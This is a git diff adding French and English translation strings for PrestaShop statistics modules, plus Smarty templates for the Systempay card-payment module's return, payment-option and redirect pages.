+$_MODULE['<{statspersonalinfos}default>statspersonalinfos_62a9b5081b2dab89113e94a0b4cb4be0'] = 'La répartition par sexe vous permet de déterminer le pourcentage d\'hommes et de femmes parmi vos clients.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_4c5625b65180ffa4f4ad215c2d5ef7d7'] = 'Les tranches d\'âges vous permettent de déterminer dans quelle tranche d\'âge se positionne votre clientèle.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_3a5c52ba51fe8f566a222da649c5e1f1'] = 'La répartition par pays vous permet de déterminer dans quelle partie du monde sont vos clients.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_e0fcbbd416a4872ec8f91fefa823debe'] = 'Les tranches de devise vous permettent de déterminer avec quelle devise vos clients payent.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_7cede292ed06f274bb9e8702738c058e'] = 'La répartition par langues vous permet de déterminer la langue qu\'utilisent généralement vos clients dans votre boutique.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_9fde3510abe63111086fd4288a19e1be'] = 'Aucun client enregistré pour le moment.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_ce2dd26ca39bdbc6444f4dad3fa5d5fe'] = 'Ciblez votre public'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_74036f0101d2f3f9b082b8de981c18dc'] = 'Pour que chacun de vos messages ait de l\'impact, il faut savoir à quelle clientèle vous vous adressez.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_daa0ad6a8b07a64f18b26e0f5e1255bd'] = 'S\'adresser au bon public est primordial afin de choisir les bons outils pour convaincre chacun des publics cibles.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_4f7fe9e063af69bcd7f73d2011722c00'] = 'Il est préférable de limiter son action à un ou plusieurs groupes de clients.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_04cac0902d33f8d779111bddde436f03'] = 'Les informations personnelles relatives aux clients vous permettent de mieux définir le profil du client type afin d\'adapter les promotions sur votre site en fonction des différents critères.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_1b97d8091d4b383e8316b5bf85b2194c'] = 'Nous vous conseillons d\'utiliser cette information pour faire accroitre vos ventes :'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_aaf4306af7449d0b6b99e8df15f422a2'] = 'préparez une campagne de publicité destinée à un groupe de clients susceptible d\'être intéressé par une offre en particulier, puis diffusez-la à des heures précises.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_416e130b744a7becbe84de8e251135bb'] = 'Contactez ces groupes de clients par e-mail ou avec une liste de diffusion.'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_8dc514f6da8c696c4a522efc145ad28a'] = 'Répartition par sexe'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_63889cfb9d3cbe05d1bd2be5cc9953fd'] = 'Homme'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_b719ce180ec7bd9641fece2f920f4817'] = 'Femme'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_88183b946cc5f0e8c96b2e66e1c74a7e'] = 'Inconnu'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_2d0f27acbb474dff9aba76851970618a'] = 'Tranches d\'âges'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_6e69fbf88d84db874f365542b0284a95'] = '0-18 ans'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_b20e0ed6158978a3a23d092060b5dbab'] = '18-24 ans'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_e5884ca49180d38295ee426c624d936c'] = '25-34 ans'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_62ce9f61153b331eabe9efc2fc7eb5c2'] = '35-49 ans'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_a7724f78dcdf2179c5ca651d15ed5b2c'] = '50-59 ans'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_6a239f88f1aeb0561e7786b6120d1d5e'] = '60 ans'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_73b0130037e21b76351aebfd29d0b9aa'] = 'Répartition par pays'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_28e81c8343702f6c813cc31a7f90616a'] = 'Répartition par devise'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_f1dd68fb6a00d3e4d7f751deacde995d'] = 'Répartition par langue'; diff --git a/themes/default/modules/statsproduct/translations/en.php b/themes/default/modules/statsproduct/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsproduct/translations/fr.php b/themes/default/modules/statsproduct/translations/fr.php new file mode 100755 index 0000000..b8d7f44 --- /dev/null +++ b/themes/default/modules/statsproduct/translations/fr.php @@ -0,0 +1,39 @@ +statsproduct_78e454064a7d3a7755a011a3b79f31a7'] = 'Détail produit'; +$_MODULE['<{statsproduct}default>statsproduct_285201dab507840d082d58dc13602b00'] = 'Propose des statistiques détaillées pour chaque produit'; +$_MODULE['<{statsproduct}default>statsproduct_3ec365dd533ddb7ef3d1c111186ce872'] = 'Détails'; +$_MODULE['<{statsproduct}default>statsproduct_981a6013008c8f4b75836b0f415b05b8'] = 'Total des achats :'; +$_MODULE['<{statsproduct}default>statsproduct_af7cba0f47dac2ad181cc0471979a746'] = 'CA (hors taxes) :'; +$_MODULE['<{statsproduct}default>statsproduct_b262bbde88b3b8dca3b27d730aca69bf'] = 'Total des consultations'; +$_MODULE['<{statsproduct}default>statsproduct_bebbab2c1ac732ccef4181f51ed52967'] = 'Taux de conversion'; +$_MODULE['<{statsproduct}default>statsproduct_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsproduct}default>statsproduct_c90b9dca2d3f5bb6e0d0bdceac8a631d'] = 'Répartition des ventes par attributs'; +$_MODULE['<{statsproduct}default>statsproduct_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'CA'; +$_MODULE['<{statsproduct}default>statsproduct_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{statsproduct}default>statsproduct_a240fa27925a635b08dc28c9e4f9216d'] = 'Commande'; +$_MODULE['<{statsproduct}default>statsproduct_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{statsproduct}default>statsproduct_f2bbdf9f72c085adc4d0404e370f0f4c'] = 'Attribut'; +$_MODULE['<{statsproduct}default>statsproduct_694e8d1f2ee056f98ee488bdc4982d73'] = 'Qté'; +$_MODULE['<{statsproduct}default>statsproduct_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{statsproduct}default>statsproduct_87017c9259838bb0918a2ab4f96016c0'] = 'Ventes croisées'; +$_MODULE['<{statsproduct}default>statsproduct_df644ae155e79abf54175bd15d75f363'] = 'Article'; +$_MODULE['<{statsproduct}default>statsproduct_2a0440eec72540c5b30d9199c01f348c'] = 'Quantité vendue'; +$_MODULE['<{statsproduct}default>statsproduct_844c29394eea07066bb2efefc35784ec'] = 'Prix moyen'; +$_MODULE['<{statsproduct}default>statsproduct_0173374ac20f5843d58b553d5b226ef6'] = 'Choisissez une catégorie'; +$_MODULE['<{statsproduct}default>statsproduct_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{statsproduct}default>statsproduct_818f7defe18dbc97da82d054831df2ad'] = 'Cliquez sur un produit pour accéder à ses statistiques.'; +$_MODULE['<{statsproduct}default>statsproduct_6ccf03bc05e4b749b74b5d577c7e7d3a'] = 'Produits disponibles'; +$_MODULE['<{statsproduct}default>statsproduct_12d3c7a4296542c62474856ec452c045'] = 'Réf.'; +$_MODULE['<{statsproduct}default>statsproduct_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsproduct}default>statsproduct_7bd5825a187064017975513b95d7f7de'] = 'Quantité disponible à la vente'; +$_MODULE['<{statsproduct}default>statsproduct_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsproduct}default>statsproduct_af6de9b8b390e324cd90cc17779783ba'] = 'Comparaison du nombre d\'achat et du nombre de consultations'; +$_MODULE['<{statsproduct}default>statsproduct_6e13e61b8535a66feb27d285f5c42855'] = 'Après avoir choisi une catégorie et sélectionné un produit disponible dans celle-ci, des graphiques apparaissent. Vous pouvez ensuite les analyser.'; +$_MODULE['<{statsproduct}default>statsproduct_ff7008d8daed8cf92213ca8955a42d92'] = 'Si vous constatez qu\'un produit a du succès et qu\'il est beaucoup acheté mais reste très peu consulté, vous devriez le mettre davantage en évidence dans la vitrine de votre boutique.'; +$_MODULE['<{statsproduct}default>statsproduct_e22269bb51f9f2394e148716babbafbb'] = 'Popularité'; +$_MODULE['<{statsproduct}default>statsproduct_5e9613e58f3bdbc89b1fef07274c0877'] = 'Visites (x100)'; +$_MODULE['<{statsproduct}default>statsproduct_287234a1ff35a314b5b6bc4e5828e745'] = 'Attributs'; +$_MODULE['<{statsproduct}default>statsproduct_27ce7f8b5623b2e2df568d64cf051607'] = 'Stock'; diff --git a/themes/default/modules/statsregistrations/translations/en.php b/themes/default/modules/statsregistrations/translations/en.php new file mode 100755 index 0000000..f095aec --- /dev/null +++ b/themes/default/modules/statsregistrations/translations/en.php @@ -0,0 +1,5 @@ +statsregistrations_57a6f41a27c9baa5b402d30e97d4c1e8'] = 'How to act on the registrations\' evolution?'; diff --git a/themes/default/modules/statsregistrations/translations/fr.php b/themes/default/modules/statsregistrations/translations/fr.php new file mode 100755 index 0000000..30173da --- /dev/null +++ b/themes/default/modules/statsregistrations/translations/fr.php @@ -0,0 +1,20 @@ +statsregistrations_8b15fc6468c919d299f9a601b61b95fc'] = 'Comptes clients'; +$_MODULE['<{statsregistrations}default>statsregistrations_5eaafc713c2425b16202065927ea0220'] = 'Affiche l\'évolution des créations de compte'; +$_MODULE['<{statsregistrations}default>statsregistrations_247b3bdef50a59d5a83f23c4f1c8fa47'] = 'Visiteurs bloqués à la phase d\'inscription :'; +$_MODULE['<{statsregistrations}default>statsregistrations_479c1246d97709e234574e1d2921994d'] = 'Visiteurs ayant passé une commande dès leur inscription :'; +$_MODULE['<{statsregistrations}default>statsregistrations_a751e9cc4ed4c7585ecc0d97781cb48a'] = 'Total de comptes créés :'; +$_MODULE['<{statsregistrations}default>statsregistrations_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsregistrations}default>statsregistrations_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsregistrations}default>statsregistrations_fba0e64541196123bbf8e3737bf9287b'] = 'Nombre de comptes créés'; +$_MODULE['<{statsregistrations}default>statsregistrations_76dcf557776c2b40d47b72ebcd9ac6b7'] = 'Le nombre d\'inscrits en lui-même n\'est pas important. Il vous permet surtout d\'apprécier son évolution sur une période plus ou moins longue.'; +$_MODULE['<{statsregistrations}default>statsregistrations_57a6f41a27c9baa5b402d30e97d4c1e8'] = 'Comment agir sur l\'évolution des inscriptions ?'; +$_MODULE['<{statsregistrations}default>statsregistrations_2d8c349a97131b417bf7da166afb17bd'] = 'Si vous laissez votre boutique tourner sans rien changer, le nombre d\'inscriptions devrait être stable ou baisser légèrement.'; +$_MODULE['<{statsregistrations}default>statsregistrations_ac379194b8c2ea6c2e26be3672fdf7f7'] = 'Une forte croissance ou une forte baisse montre donc probablement un changement sur votre boutique. C\'est pourquoi vous devez l\'identifier de manière à pouvoir revenir sur vos pas au cas où ce changement fait décroître le nombre d\'inscriptions, ou au contraire continuer dans cette voie si celui-ci se trouve avantageux.'; +$_MODULE['<{statsregistrations}default>statsregistrations_ded9c8756dc14fd26e3150c4718cd9d0'] = 'Différents modificateurs sont possibles :'; +$_MODULE['<{statsregistrations}default>statsregistrations_3493de9f70480000ac99a1d5fc021dcb'] = 'Une campagne de publicité peut attirer un grand nombre de visiteurs. De plus, une campagne de pub bien ciblée peut s\'avérer plus efficace qu\'une publicité à grande échelle.'; +$_MODULE['<{statsregistrations}default>statsregistrations_c53d1447202b4d629cf3b96dc4b1056d'] = 'Les promotions, soldes ou jeux-concours attirent fortement l\'attention et la curiosité des visiteurs ; permettant non seulement d\'animer votre boutique, mais aussi d\'en augmenter son trafic. De cette manière, vous pouvez pousser un acheteur \"spontané\" à se lancer.'; +$_MODULE['<{statsregistrations}default>statsregistrations_8cb5605d77d1d2f9eab6191c0e027747'] = 'Esthétique : un changement de thème peut rebuter les visiteurs. L\'orthographe et la clarté sont également à soigner.'; diff --git a/themes/default/modules/statssales/translations/en.php b/themes/default/modules/statssales/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statssales/translations/fr.php b/themes/default/modules/statssales/translations/fr.php new file mode 100755 index 0000000..139f87c --- /dev/null +++ b/themes/default/modules/statssales/translations/fr.php @@ -0,0 +1,24 @@ +statssales_45c4b3e103155326596d6ccd2fea0f25'] = 'Commandes et CA'; +$_MODULE['<{statssales}default>statssales_f57f893f9fbc11843fd4c9997ec41824'] = 'Affiche l\'évolution du chiffre d\'affaires et la répartition des commandes par leurs états.'; +$_MODULE['<{statssales}default>statssales_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Tout afficher'; +$_MODULE['<{statssales}default>statssales_d7778d0c64b6ba21494c97f77a66885a'] = 'Filtrer'; +$_MODULE['<{statssales}default>statssales_35214bc44485bc7161f9d1bdbacad5b8'] = 'Ces graphiques représentent l\'évolution de vos commandes et chiffre d\'affaires pour une période donnée. Ce n\'est pas un outil d\'analyse avancé mais il vous permet toutefois de visualiser la rentabilité de votre boutique en un clin d’œil. Vous pouvez également comparer les ventes entre différentes périodes (Noël, ...). Seules les commandes valides sont inclues dans ces deux graphes.'; +$_MODULE['<{statssales}default>statssales_9ccb8353e945f1389a9585e7f21b5a0d'] = 'Commandes passées :'; +$_MODULE['<{statssales}default>statssales_156e5c5872c9af24a5c982da07a883c2'] = 'Produits commandés :'; +$_MODULE['<{statssales}default>statssales_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statssales}default>statssales_ec3e48bb9aa902ba2ad608547fdcbfdc'] = 'Chiffre d\'affaires :'; +$_MODULE['<{statssales}default>statssales_14b2ae2d824b5dfd798a8caf35732136'] = 'La répartition des états de commande est représentée ci-dessous.'; +$_MODULE['<{statssales}default>statssales_da80af4de99df74dd59e665adf1fac8f'] = 'Aucune commande pour cette période.'; +$_MODULE['<{statssales}default>statssales_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statssales}default>statssales_75288849ad081e6ef15e00c37b7570f2'] = 'Plusieurs états de commande'; +$_MODULE['<{statssales}default>statssales_ecfa88580e342ade21a8403765c0dde6'] = 'Au sein de votre back-office, plusieurs états de commande sont disponibles : En attente du paiement par chèque, Paiement accepté, Préparation en cours, En cours de livraison, Livré, Annulé, Remboursé, Erreur de paiement, Produits indisponibles et En attente du paiement par virement bancaire.'; +$_MODULE['<{statssales}default>statssales_d60bf28bef003143f1b95edbbc08cd68'] = 'Ces états ne peuvent être supprimés depuis le back-office, cependant vous pouvez en ajouter de nouveaux.'; +$_MODULE['<{statssales}default>statssales_bb7ad89807bf69ddca986c142311f936'] = 'Commandes et produits'; +$_MODULE['<{statssales}default>statssales_12c500ed0b7879105fb46af0f246be87'] = 'Commandes'; +$_MODULE['<{statssales}default>statssales_b52b44c9d23e141b067d7e83b44bb556'] = 'Produits'; +$_MODULE['<{statssales}default>statssales_14f1c54626d722168ee62dff05ed811e'] = 'Chiffre d\'affaires en'; +$_MODULE['<{statssales}default>statssales_b63d7e91b286748a447bf3573dbc9bfb'] = 'Pourcentage de commandes par état'; diff --git a/themes/default/modules/statssearch/translations/en.php b/themes/default/modules/statssearch/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statssearch/translations/fr.php b/themes/default/modules/statssearch/translations/fr.php new file mode 100755 index 0000000..6e05661 --- /dev/null +++ b/themes/default/modules/statssearch/translations/fr.php @@ -0,0 +1,13 @@ +statssearch_8c3c245232744602822902b97e65d6f9'] = 'Recherches de la boutique'; +$_MODULE['<{statssearch}default>statssearch_a29d1afff7134121b6e55590e038caa8'] = 'Affiche les mots-clés recherchés par vos visiteurs'; +$_MODULE['<{statssearch}default>statssearch_867343577fa1f33caa632a19543bd252'] = 'Mots-clés'; +$_MODULE['<{statssearch}default>statssearch_e52e6aa1a43a0187e44f048f658db5f9'] = 'Occurences'; +$_MODULE['<{statssearch}default>statssearch_fd69c5cf902969e6fb71d043085ddee6'] = 'Résultats'; +$_MODULE['<{statssearch}default>statssearch_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statssearch}default>statssearch_eebd23d2b8567d0d92496ac99dcd343e'] = 'Aucun mot-clé recherché plus d\'une fois.'; +$_MODULE['<{statssearch}default>statssearch_e15832aa200f342e8f4ab580b43a72a8'] = '10 premiers mots-clés'; +$_MODULE['<{statssearch}default>statssearch_52ef9633d88a7480b3a938ff9eaa2a25'] = 'Autres'; diff --git a/themes/default/modules/statsstock/translations/en.php b/themes/default/modules/statsstock/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsstock/translations/fr.php b/themes/default/modules/statsstock/translations/fr.php new file mode 100755 index 0000000..f840df8 --- /dev/null +++ b/themes/default/modules/statsstock/translations/fr.php @@ -0,0 +1,19 @@ +statsstock_4416eb048e458e909c65b5210cee2b83'] = 'Quantités statistiques disponibles'; +$_MODULE['<{statsstock}default>statsstock_f27f89ed1aeb8108c091677cf7b99c28'] = 'Quantités disponibles pour la valorisation de la vente'; +$_MODULE['<{statsstock}default>statsstock_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Catégorie'; +$_MODULE['<{statsstock}default>statsstock_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{statsstock}default>statsstock_1b2379801de373b6b563c347014fb34b'] = 'Votre catalogue est vide.'; +$_MODULE['<{statsstock}default>statsstock_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statsstock}default>statsstock_12d3c7a4296542c62474856ec452c045'] = 'Réf.'; +$_MODULE['<{statsstock}default>statsstock_7d74f3b92b19da5e606d737d339a9679'] = 'Article'; +$_MODULE['<{statsstock}default>statsstock_7bd5825a187064017975513b95d7f7de'] = 'Quantité disponible à la vente'; +$_MODULE['<{statsstock}default>statsstock_88940d60e75cf4ff38ce27db4efc83b2'] = 'Prix*'; +$_MODULE['<{statsstock}default>statsstock_689202409e48743b914713f96d93947c'] = 'Valeur'; +$_MODULE['<{statsstock}default>statsstock_347cbf03d737b02a70a96ff204c22fbc'] = 'Total des quantités'; +$_MODULE['<{statsstock}default>statsstock_4364f8c09d7bf97996a20840900e7b30'] = 'Prix moyen'; +$_MODULE['<{statsstock}default>statsstock_62668f75fc6977f3d09df632d1585d07'] = 'Valeur total'; +$_MODULE['<{statsstock}default>statsstock_a9873f90f06f9e2cfa3d048298ecca8c'] = 'Correspond au prix de vente par défaut selon le fournisseur par défaut du produit. Un prix moyen est utilisé quand le produit possède des déclinaisons.'; diff --git a/themes/default/modules/statsvisits/translations/en.php b/themes/default/modules/statsvisits/translations/en.php new file mode 100755 index 0000000..e18d6a4 --- /dev/null +++ b/themes/default/modules/statsvisits/translations/en.php @@ -0,0 +1,5 @@ +statsvisits_e90d50ca1e68dc66c97bd62929dcbaf1'] = 'The visitors\' evolution graph strongly resembles the visits\' graph, but provides additional information:'; diff --git a/themes/default/modules/statsvisits/translations/fr.php b/themes/default/modules/statsvisits/translations/fr.php new file mode 100755 index 0000000..c151a53 --- /dev/null +++ b/themes/default/modules/statsvisits/translations/fr.php @@ -0,0 +1,20 @@ +statsvisits_504c16c26a96283f91fb46a69b7c8153'] = 'Visites et visiteurs'; +$_MODULE['<{statsvisits}default>statsvisits_5d2b93d36c456f9dc204de59d789b777'] = 'Propose des graphiques montrant l\'évolution de vos visites et visiteurs.'; +$_MODULE['<{statsvisits}default>statsvisits_b8901fb7bbfaf9b0c4724343c7cd1f90'] = 'Une visite correspond au passage d\'un internaute sur votre boutique. Une seule visite est comptée pour toute la durée de sa session.'; +$_MODULE['<{statsvisits}default>statsvisits_f43a4cf6dcc4ec617d2296d03d26c90f'] = 'On appelle visiteur une personne inconnue - non inscrite ou non connectée - naviguant sur votre boutique. Un visiteur peut donc visiter votre boutique plusieurs fois.'; +$_MODULE['<{statsvisits}default>statsvisits_54067074d24489ddb5654bf46642cb85'] = 'Nombre total de visites'; +$_MODULE['<{statsvisits}default>statsvisits_23e640d55e56db79971918936e95bf9d'] = 'Nombre total de visiteurs'; +$_MODULE['<{statsvisits}default>statsvisits_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsvisits}default>statsvisits_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsvisits}default>statsvisits_0dc434050b01c74f7a64820f84b9f464'] = 'Déterminez l\'intérêt d\'une visite'; +$_MODULE['<{statsvisits}default>statsvisits_e90d50ca1e68dc66c97bd62929dcbaf1'] = 'Le graphique d\'évolution visiteurs ressemble fortement au graphique des visites, mais fournit des informations supplémentaires:'; +$_MODULE['<{statsvisits}default>statsvisits_e9849ece0b2ecf1eea74d92d492a47f2'] = 'Si c\'est le cas, alors félicitations, votre site est bien conçu et plaît indéniablement.'; +$_MODULE['<{statsvisits}default>statsvisits_c745121a98cf1d5b26bc5299d9880d5c'] = 'Dans le cas contraire, la conclusion n\'est pas si simple. Le problème peut être esthétique ou ergonomique, ou alors l\'offre insuffisante. Il se peut également que ces visiteurs soient arrivées là par erreur, sans intérêt particulier pour votre boutique ; ce phénomène arrive couramment avec les moteurs de recherche.'; +$_MODULE['<{statsvisits}default>statsvisits_9bf5a493522a65d550f096505874873b'] = 'Cette information est surtout qualitative : c\'est à vous de déterminer l\'intérêt d\'une visite sans suite.'; +$_MODULE['<{statsvisits}default>statsvisits_39b960b0a5e2ebaaa638d946f1892050'] = 'Nombre de visites et visiteurs uniques'; +$_MODULE['<{statsvisits}default>statsvisits_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{statsvisits}default>statsvisits_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; diff --git a/themes/default/modules/systempay/payment_return.tpl b/themes/default/modules/systempay/payment_return.tpl new file mode 100755 index 0000000..55370ab --- /dev/null +++ b/themes/default/modules/systempay/payment_return.tpl @@ -0,0 +1,74 @@ +{if $check_url_warn == true} +

        + {l s='The automatic notification (peer to peer connection between the payment platform and your shopping cart solution) hasn\'t worked. Have you correctly set up the server URL in your store backoffice?' mod='systempay'} +
        + {l s='For understanding the problem, please read the documentation of the module :
           - Chapter «To read carefully before going further»
           - Chapter «Server URL settings»' mod='systempay'} +
        + {l s='If you think this is an error, you can contact our' mod='systempay'} + {l s='customer support' mod='systempay'}. +

        + +

        +{/if} + +{if $prod_info == true} +

        + {l s='GOING INTO PRODUCTION
        You want to know how to put your shop into production mode, please go to this URL : ' mod='systempay'}https://paiement.systempay.fr/html/faq/prod +

        + +

        +{/if} + +{if $error_msg == true} +

        + {l s='Your order has been registered with a payment error.' mod='systempay'} + + {l s='Please contact our' mod='systempay'} {l s='customer support' mod='systempay'}. +

        +{else} +

        {l s='Your order on' mod='systempay'} {$shop_name} {l s='is complete.' mod='systempay'} +

        + {l s='We registered your payment of ' mod='systempay'} {$total_to_pay} +

        {l s='For any questions or for further information, please contact our' mod='systempay'} {l s='customer support' mod='systempay'}. +

        + + + + + + + + +{/if} \ No newline at end of file diff --git a/themes/default/modules/systempay/payment_std.tpl b/themes/default/modules/systempay/payment_std.tpl new file mode 100755 index 0000000..bc7000c --- /dev/null +++ b/themes/default/modules/systempay/payment_std.tpl @@ -0,0 +1,16 @@ +

        + {l s='Paiement par carte bancaire' mod='systempay'} + + {l s='Systempay' mod='systempay'} + + {if $mobile_device==true} + {l s='Validez votre paiement' mod='systempay'} + {else} + {l s='Validez votre paiement' mod='systempay'} + {/if} + {l s='Serveur sécurisé avec système SSL pour protéger vos données bancaires' mod='systempay'} + +

        + +
        +

        \ No newline at end of file diff --git a/themes/default/modules/systempay/redirect.tpl b/themes/default/modules/systempay/redirect.tpl new file mode 100755 index 0000000..5cfa42c --- /dev/null +++ b/themes/default/modules/systempay/redirect.tpl @@ -0,0 +1,46 @@ +{if isset($systempay_opc_enabled) && $systempay_opc_enabled} + {assign var='order_page' value='order-opc.php'} +{else} + {assign var='order_page' value='order.php'} +{/if} + +{capture name=path}{l s='Your shopping cart' mod='systempay'}{$navigationPipe}Systempay{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='Redirection to payment gateway' mod='systempay'}]

        + + +{if isset($systempay_empty_cart) && $systempay_empty_cart} +

        {l s='Your shopping cart is empty.' mod='systempay'}

        +{else} + + +
        + {foreach from=$systempay_params key='key' item='value'} + + {/foreach} +



        +

        + + + {l s='Please wait, you will be redirected to the payment platform.' mod='systempay'} +

        + {l s='If you are not redirected in 10 seconds, please click the button below.' mod='systempay'} +
        +

        + +

        + +

        +
        + + +{/if} +
        \ No newline at end of file diff --git a/themes/default/modules/systempay/translations/en.php b/themes/default/modules/systempay/translations/en.php new file mode 100755 index 0000000..1feb8bc --- /dev/null +++ b/themes/default/modules/systempay/translations/en.php @@ -0,0 +1,226 @@ +systempay_2588246e9b8bb55cd587ed5595d3a7e2'] = 'Accepter les paiements par carte de crédit avec %s'; +$_MODULE['<{systempay}default>systempay_53c0eed255c798ec8fc9299e17f01317'] = 'Etes-vous sûr de bien vouloir supprimer les détails de votre module ?'; +$_MODULE['<{systempay}default>systempay_f38f5974cdc23279ffe6d203641a8bdf'] = 'Configuration mise à jour.'; +$_MODULE['<{systempay}default>systempay_c82760abe276149682e54af149d50163'] = 'Une ou plusieurs valeurs sont invalides pour le champ \"Options de paiement\". Seules les lignes valides sont sauvegardées.'; +$_MODULE['<{systempay}default>systempay_7721928ca91b808090c2e42e8ed087e9'] = 'Vous devez sélectionner au moins un type de carte.'; +$_MODULE['<{systempay}default>systempay_5416423d5ad1d720c85c23afd46239cd'] = 'Valeur invalide \"%s\" pour le champ \"%s\".'; +$_MODULE['<{systempay}default>systempay_b4bf0b891dd528b8bc6a0ceddfd5969b'] = 'L\'acquisition des données de la carte sur le site marchand ne peut pas être utilisée sans activer le SSL.'; +$_MODULE['<{systempay}default>systempay_21c8130b9b2e0a71ca25b5ff65a3b04c'] = 'Le champ \"%s\" est obligatoire.'; +$_MODULE['<{systempay}default>systempay_84d7948ab154d3076c9ed85adf140370'] = 'Un problème est survenu lors de l\'enregistrement du champ \"%s\".'; +$_MODULE['<{systempay}default>systempay_76cd29d10d79ba6370cda5c89ab0946b'] = 'L\'envoi multiple est activé. Le paiement Oney ne peut être activé.'; +$_MODULE['<{systempay}default>systempay_4c7fd4e78164fd8c7c942f71d800010b'] = 'Veuillez renseigner les montants minimum et maximum dans l\'onglet paiement FacilyPay Oney tel que convenu avec Banque Accord.'; +$_MODULE['<{systempay}default>systempay_051d3cd9d4ad38267207ab4121aadd66'] = 'Le champ \"%s\" de votre %s est invalide.'; +$_MODULE['<{systempay}default>systempay_3eeb49b3032fe4320879769af95d803d'] = 'Le champ \"%s\" de votre %s est obligatoire.'; +$_MODULE['<{systempay}default>systempay_8d3f5eff9c40ee315d452392bed5309b'] = 'Nom'; +$_MODULE['<{systempay}default>systempay_20db0bfeecd8fe60533206a2b5e9891a'] = 'Prénom'; +$_MODULE['<{systempay}default>systempay_bcc254b55c4a1babdf1dcb82c207506b'] = 'Téléphone'; +$_MODULE['<{systempay}default>systempay_f0e1fc6f97d36cb80f29196e2662ffde'] = 'Téléphone portable'; +$_MODULE['<{systempay}default>systempay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}default>systempay_22fcffe02ab9eda5b769387122f2ddce'] = 'Adresse(2)'; +$_MODULE['<{systempay}default>systempay_642d3ba5db8b57e006584b544e490ec7'] = 'Code postal'; +$_MODULE['<{systempay}default>systempay_57d056ed0984166336b7879c2af3657f'] = 'Ville'; +$_MODULE['<{systempay}default>systempay_59716c97497eb9694541f7c3d37b1a4d'] = 'Pays'; +$_MODULE['<{systempay}default>systempay_687ae6ebf50a06125319516eee9f5fdb'] = 'Votre paiement n\'a pas été accepté. Veuillez repasser votre commande.'; +$_MODULE['<{systempay}default>systempay_e555610477d1aa7807d93f28ba80141e'] = 'Paiement par carte bancaire'; +$_MODULE['<{systempay}default>systempay_796e204aef60da8e6a072431ec43ed2b'] = 'Paiement par carte bancaire en plusieurs fois'; +$_MODULE['<{systempay}default>systempay_ba23145ed5d391c93162698854dbee45'] = 'Paiement avec FacilyPay Oney'; +$_MODULE['<{systempay}default>systempay_13aa1c47157818ce4d54f337a17084af'] = 'Authentification 3DS : '; +$_MODULE['<{systempay}default>systempay_7469a286259799e5b37e5db9296f00b3'] = 'OUI'; +$_MODULE['<{systempay}default>systempay_68a065494f1612ae29b1cde04c936339'] = 'Certificat 3DS : '; +$_MODULE['<{systempay}default>systempay_c2f3f489a00553e7a01d369c103c7251'] = 'NON'; +$_MODULE['<{systempay}default>systempayadmindisplay_004a093d1ab4ca81b4024639b4b2427a'] = 'Développé par'; +$_MODULE['<{systempay}default>systempayadmindisplay_01ed8a4015b45aa03653c53de46e37ee'] = 'Courriel de contact'; 